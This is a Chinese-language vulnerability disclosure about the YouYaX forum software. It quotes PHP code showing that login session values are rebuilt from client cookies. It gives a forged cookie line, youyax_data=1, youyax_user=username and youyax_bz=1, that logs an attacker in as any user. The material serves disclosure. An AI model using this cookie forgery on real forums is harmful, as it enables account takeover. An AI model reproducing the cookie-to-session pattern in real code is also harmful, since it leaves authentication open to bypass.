YouYaX论坛前台任意账户登入

摘要

/ext/mobile/login.php 登入页面的处理如下[php][/php]账号密码正确即赋予 session youyax_data=1 youyax_user=user youyax_bz=1
然而，这个session是可以自己构造的。看到/Lib/IndexAction.php 的代码

漏洞作者： roker

/ext/mobile/login.php 登入页面的处理如下

[php]

if (isset($_POST['sub'])) {     include('../../ext_public/database_mobile.php');     mysql_query("SET NAMES 'utf8'");     $sql    = "select* from " . $config['db_prefix'] . "user where binary user='" . addslashes($_POST['user']) . "'  and binary pass='" . md5(addslashes($_POST['pass'])) . "' and status=1 and complete=0";     $user   = $_POST['user'];     $result = mysql_query($sql);     $num    = mysql_num_rows($result);     if ($num == 1) {         $_SESSION['youyax_data'] = 1;         $_SESSION['youyax_user'] = $user;         $_SESSION['youyax_bz']   = 1;         @setcookie('youyax_data',1,time()+(60*60*24*30),"/");         @setcookie('youyax_user',$user,time()+(60*60*24*30),"/");         @setcookie('youyax_bz',1,time()+(60*60*24*30),"/");         echo '<script>window.location.href="'.$config['SITE'].'";</script>';         exit;     } else {         $_SESSION['youyax_data'] = 0;         echo '<script>alert("输入错误 or 尚未激活");</script>';     } }

[/php]

账号密码正确即赋予 session youyax_data=1 youyax_user=user youyax_bz=1
然而，这个session是可以自己构造的。看到/Lib/IndexAction.php 的代码

[php]

 

public function index()     {         header("Content-Type:text/html; charset=utf-8");         if (empty($_SESSION['youyax_user']) && !stristr($_SERVER['HTTP_USER_AGENT'], 'android') && !stristr($_SERVER['HTTP_USER_AGENT'], 'iphone') && !stristr($_SERVER['HTTP_USER_AGENT'], 'ipad')) {             $cache = new Cache(20);         }         if(isset($_COOKIE['youyax_data']) && isset($_COOKIE['youyax_user']) && isset($_COOKIE['youyax_bz'])){          $_SESSION['youyax_data'] = $_COOKIE['youyax_data'];          $_SESSION['youyax_user'] = $_COOKIE['youyax_user'];          $_SESSION['youyax_bz'] = $_COOKIE['youyax_bz'];      }         if ($_SESSION['youyax_data'] == 1) {             $bz   = $_SESSION['youyax_bz'];             $user = $_SESSION['youyax_user'];             if ($bz != 1)                 $bz = 0;             if ($bz == 0) {                 $_SESSION['youyax_user'] = "";                 $user                    = "";                 $_SESSION['youyax_data'] = 0;             }         } else {             $_SESSION['youyax_user'] = "";             $_SESSION['youyax_bz']   = "";             $bz                      = 0;             $user                    = "";         }         $this->assign('bz', $bz)->assign('user', $user);

[/php]

显而易见了。检测cookie再将cookie值赋予session。 那么session将变得毫无意义。。
构造 Cookie: youyax_data=1; youyax_user=username; youyax_bz=1
可前台登入任意用户。对于 一个bbs的话 ，该漏洞是致命的。